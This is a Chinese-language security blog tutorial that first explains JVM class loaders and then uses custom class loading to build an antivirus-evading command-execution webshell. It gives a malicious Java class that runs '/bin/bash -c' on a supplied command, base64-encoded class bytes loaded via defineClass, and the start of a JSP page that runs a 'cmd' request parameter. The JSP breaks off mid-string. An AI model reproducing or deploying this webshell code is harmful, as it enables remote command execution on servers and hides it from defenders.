类加载器属于JVM的一个重要知识点,也是Java安全里命令执行、webshell管理器编写的常用技术。
类加载器简介
我们知道java源文件在运行前会被编译为class类文件,存放着编译后JVM虚拟机指令的二进制字节流。当使用某类时,JVM就会加载它并在内存中创建对应的class对象。该过程称为类的加载。
类加载过程
过程如下:
类加载器可以分为两种:
一种是Java虚拟机自带的类加载器,分别为启动类加载器、扩展类加载器、系统类加载器。
java.lang.ClassLoader
类,不存在父类加载器; - public static void main(String[] args) {
- ClassLoader c1 = Object.class.getClassLoader();
- System.out.println(c1); // 加载器打印出来的结果是null
- }
%JAVA_HOME%/jre/lib
目录下的核心类库,比如 rt.jar、charsets.jar 等;%JAVA_HOME%/jre/lib/ext
扩展目录中的类库或由 java.ext.dirs
系统变量指定的目录下的类库;ClassPath
环境变量下或者系统属性java.class.path
的所有类库,主要是加载开发人员编写的类库;一种是用户自定义的类加载器,是java.lang.ClassLoader
子类实例。
加载用户自定义路径下的类包,通过继承java.lang.ClassLoader
类的方式来实现。即父类为系统类加载器。
通过上面学习,我们知道了JVM默认有三种类加载器。除了根类加载器之外,其他的类加载器都需要有自己的父加载器。
那在加载class字节码文件时到底哪个类加载器会去加载呢?这实际上就是"双亲委派机制"。
当一个类加载器需要加载类时,先去判断该类是否已经被加载,如果已加载则直接返回,如果没有被加载,就向上委托父类加载器。父类加载器也会重复同样的操作,直到"启动类加载器"。确定类未被加载,启动类加载器首先会去对应的目录下%JAVA_HOME%jre/lib/
搜索该类。
如果找到就加载,如果没有找到就去子类加载器重复同样的操作,去对应的目录下查找该类。最后到用户自定义的类加载器,如果还没有找到就抛出ClassNotFoundException
异常退出。
下面来看一看java.lang.ClassLoader.class
中的几个核心方法:
loadClass(String name, boolean resolve)
也是双亲委托模式的代码实现。该方法会先调用findLoadedClass(String)
来检查类是否已经加载过;接着递归调用父类加载器,如果父类加载器不为null,则调用父类加载器的的loadClass()
方法来寻找该类并加载,如果父类加载器为null,则说明到了引导类加载器。
如果父类加载器均找不到这个类,则调用自定义的findClass()
方法寻找并加载该类,最后根据resolve值选择是否对 Class 进行动态链接操作。
defineClass(String name, byte[] b, int off, int len)
该方法主要将类的字节流转换为java.lang.Class
实例对象。
- String name 表示二进制形式的类名
- byte[] b 表示类的字节流,字节流可以来自Class文件,也可以来自网络或其他途径
- int off 表示类的字节流的起始偏移量
- int len 表示类的字节流的大小
findClass(String name)
该方法用来查找一个类,在自定义类加载器时,一般我们需要重写这个方法。以此来获取要加载类的字节码,然后调用defineClass()
方法生成Class对象。
所以想自定义实现类加载器,必须满足:
1、继承java.lang.ClassLoader.class
类
2、重写findClass()
方法
过程
下面尝试编写一个Test类:
- public class Test {
- public String Demo1(){
- return "hello cseroad";
- }
- }
将该类进行编译生成class字节码文件。
再编写一个方法获取该class字节码二进制文件的byte数组。
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.util.Arrays;
-
- /**
- * @author cseroad
- */
- public class Demo {
- public static byte[] getBytesByFile(String pathStr) {
- File file = new File(pathStr);
- try {
- FileInputStream in = new FileInputStream(file);
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- byte[] buf = new byte[1024];
- int len = -1;
- while ((len = in.read(buf)) != -1) {
- baos.write(buf, 0, len);
- }
- byte[] data = baos.toByteArray(); // 读取到的字节码的二进制数据
- in.close();
- baos.close();
- return data;
- } catch (Exception e) {
- e.printStackTrace();
- }
- return null;
- }
-
- public static void main(String[] args) {
- Demo demo = new Demo();
- byte[] bytesByFile = demo.getBytesByFile("/Users/cseroad/IdeaProjects/Project_Java/out/production/Java_study/com/atguigu/test/Test.class");
- System.out.println(Arrays.toString(bytesByFile));
- }
-
- }
要实现自定义的类加载器,先创建一个类继承ClassLoader
加载器并重写findClass()
方法。
- public class TestClassLoad extends ClassLoader {
- @Override
- protected Class> findClass(String name) throws ClassNotFoundException {
- return super.findClass(name);
- }
- }
在该方法里实现调用defineClass()方法来生成Class对象。
- protected Class> findClass(String name) {
- byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 55, 0, 20, 10, 0, 4, 0, 16, 8, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 23, 76, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 59, 1, 0, 5, 68, 101, 109, 111, 49, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 13, 104, 101, 108, 108, 111, 32, 99, 115, 101, 114, 111, 97, 100, 1, 0, 21, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 10, 0, 11, 0, 0, 0, 1, 0, 12, 0, 13, 0, 1, 0, 7, 0, 0, 0, 45, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 3, 0, 10, 0, 11, 0, 0, 0, 1, 0, 14, 0, 0, 0, 2, 0, 15};
- return super.defineClass("com.atguigu.test.Test",bytes, 0, bytes.length);
- }
主函数调用loadClass()
方法就可以自动加载该类。
- public static void main(String[] args) throws ClassNotFoundException {
- TestClassLoad testClassLoad = new TestClassLoad();
- //Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
- Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
- System.out.println(aClass);
- }
再利用反射创建对象调用方法。
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
- TestClassLoad testClassLoad = new TestClassLoad();
- //Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
- Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
- System.out.println(aClass);
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Demo1");
- Object invoke = demo1.invoke(o);
- System.out.println(invoke);
- }
综上代码为:
-
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import java.util.Base64;
-
- public class TestClassLoad extends ClassLoader {
- @Override
- protected Class> findClass(String name) {
- byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 55, 0, 20, 10, 0, 4, 0, 16, 8, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 23, 76, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 59, 1, 0, 5, 68, 101, 109, 111, 49, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 13, 104, 101, 108, 108, 111, 32, 99, 115, 101, 114, 111, 97, 100, 1, 0, 21, 99, 111, 109, 47, 97, 116, 103, 117, 105, 103, 117, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 10, 0, 11, 0, 0, 0, 1, 0, 12, 0, 13, 0, 1, 0, 7, 0, 0, 0, 45, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 3, 0, 10, 0, 11, 0, 0, 0, 1, 0, 14, 0, 0, 0, 2, 0, 15};
- //String classStr = "yv66vgAAADcAFAoABAAQCAARBwASBwATAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMY29tL2F0Z3VpZ3UvdGVzdC9UZXN0OwEABURlbW8xAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAFAAYBAA1oZWxsbyBjc2Vyb2FkAQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAAhAAMABAAAAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwABsQAAAAIACAAAAAYAAQAAAAcACQAAAAwAAQAAAAUACgALAAAAAQAMAA0AAQAHAAAALQABAAEAAAADEgKwAAAAAgAIAAAABgABAAAACQAJAAAADAABAAAAAwAKAAsAAAABAA4AAAACAA8=";
- //byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
-
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
- TestClassLoad testClassLoad = new TestClassLoad();
- //Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
- Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
- System.out.println(aClass);
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Demo1");
- Object invoke = demo1.invoke(o);
- System.out.println(invoke);
- }
- }
传入字节数组时可以直接读取字节码文件转化为byte数组,也可以base64编码再解码读取。
URLClassLoader继承了ClassLoader,可以通过java.net.URLClassLoader.class
该类加载器从本地或者网络上指定的位置加载类。
- public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, MalformedURLException, ClassNotFoundException {
- //从文件系统目录下加载
- File f = new File("/Users/cseroad/Downloads/");
- URL url = f.toURL();
- //从网络上加载
- //URL url = new URL("http://127.0.0.1:8000/");
-
- URLClassLoader test1 = new URLClassLoader(new URL[]{url});
- Class> aClass = test1.loadClass("com.atguigu.test.Demo");
- System.out.println(aClass);
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Demo2");
- Object invoke = demo1.invoke(o);
- System.out.println(invoke);
- }
在上文我们已经学习了如何自定义类加载器的方式调用其方法,加载class字节码文件并生成对应的Class对象。基于此,完全可以编写一个恶意类,也通过自定义类加载器的方式生成恶意的Class对象。
- public void Eval() throws IOException {
- Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
- }
创建Eval()方法执行系统命令,自定义类加载器加载该字节码文件:
- public void Test() throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, MalformedURLException, ClassNotFoundException {
- TestClassLoad testClassLoad = new TestClassLoad();
- String classStr = "yv66vgAAADcAJAoABwAWCAAXCgAYABkIABoKABgAGwcAHAcAHQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEACkV4Y2VwdGlvbnMHAB4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkBAA1oZWxsbyBjc2Vyb2FkBwAfDAAgACEBAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAiACMBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAMAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAEACgAAAC0AAQABAAAAAxICsAAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAMADQAOAAAAAQARAAkAAgAKAAAAOAACAAEAAAAKuAADEgS2AAVXsQAAAAIACwAAAAoAAgAAAA4ACQAPAAwAAAAMAAEAAAAKAA0ADgAAABIAAAAEAAEAEwABABQAAAACABU=";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- Class> aClass = testClassLoad.defineClass("com.atguigu.test.Test", bytes, 0, bytes.length);
- System.out.println(aClass);
-
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Eval");
- Object invoke = demo1.invoke(o);
- System.out.println(invoke);
- }
总结:
介绍了JVM内置的三种类加载器,以及如何自定义编写类加载器实现方法的调用,如何利用URLClassLoader
远程加载类并调用方法执行代码。
通过java类加载器的学习,我们对webshell的免杀处理就可以更进一步。
通过自定义的类加载器实现了命令执行的webshell,再进一步靠近蚁剑、冰蝎的webshell,最后修改服务端webshell达到免杀的效果。
对于如何自定义类加载的详细过程,可参考 Java 类加载器学习 。这里就不多阐述了。
我们直接创建一个恶意类,里面的Eval
方法编写调用Runtime.getRuntime().exec
进行命令执行。
- package com.atguigu.test;
-
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
-
- /**
- * @author cseroad
- */
-
- public class Test {
- public String Demo1() {
- return "hello cseroad";
- }
-
- public String Eval(String cmd) throws IOException {
- StringBuilder var_str = new StringBuilder();
- Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- String line;
- while ((line = br.readLine()) != null) {
- var_str.append(line).append("\n");
- }
- String vars = var_str.toString();
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- return vars;
- }
-
- }
将该类编译为class字节码文件后base64编码,方便读取class字节码文件内容。
然后自定义一个类加载器,并重写findClass()
方法。该方法用来查找一个类,并在方法里调用defineClass()
方法将字节流实例化为对象。
- public class DemoClassload extends ClassLoader {
-
- protected Class> findClass(String name) {
- String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
- }
创建主函数去调用该方法,并传给它类名。
- public static void main(String[] args) {
- TestClassLoad testClassLoad = new TestClassLoad();
- Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
- //Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
- System.out.println(aClass);
- }
这样这个类就拿到了。然后就是反射调用Eval()
方法,传递变量值。
代码如下:
-
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import java.util.Base64;
- /**
- * @author cseroad
- */
-
- public class TestClassLoad extends ClassLoader {
-
- protected Class> findClass(String name) {
- String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
-
- public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
- TestClassLoad testClassLoad = new TestClassLoad();
- Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
- //Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
- System.out.println(aClass);
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Eval",String.class);
- Object invoke = demo1.invoke(o,"whoami");
- System.out.println(invoke);
- }
- }
可以正常执行命令。再将该自定义加载类改写为jsp页面。
注:mac下java版本和windows下java版本不一致,需要在windows下javac重新编译
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%@ page import="java.util.Base64" %>
-
- <%
- try {
- out.println(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if (cmd != null) {
- class DemoClassload extends ClassLoader {
- protected Class> findClass(String name) {
- String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQc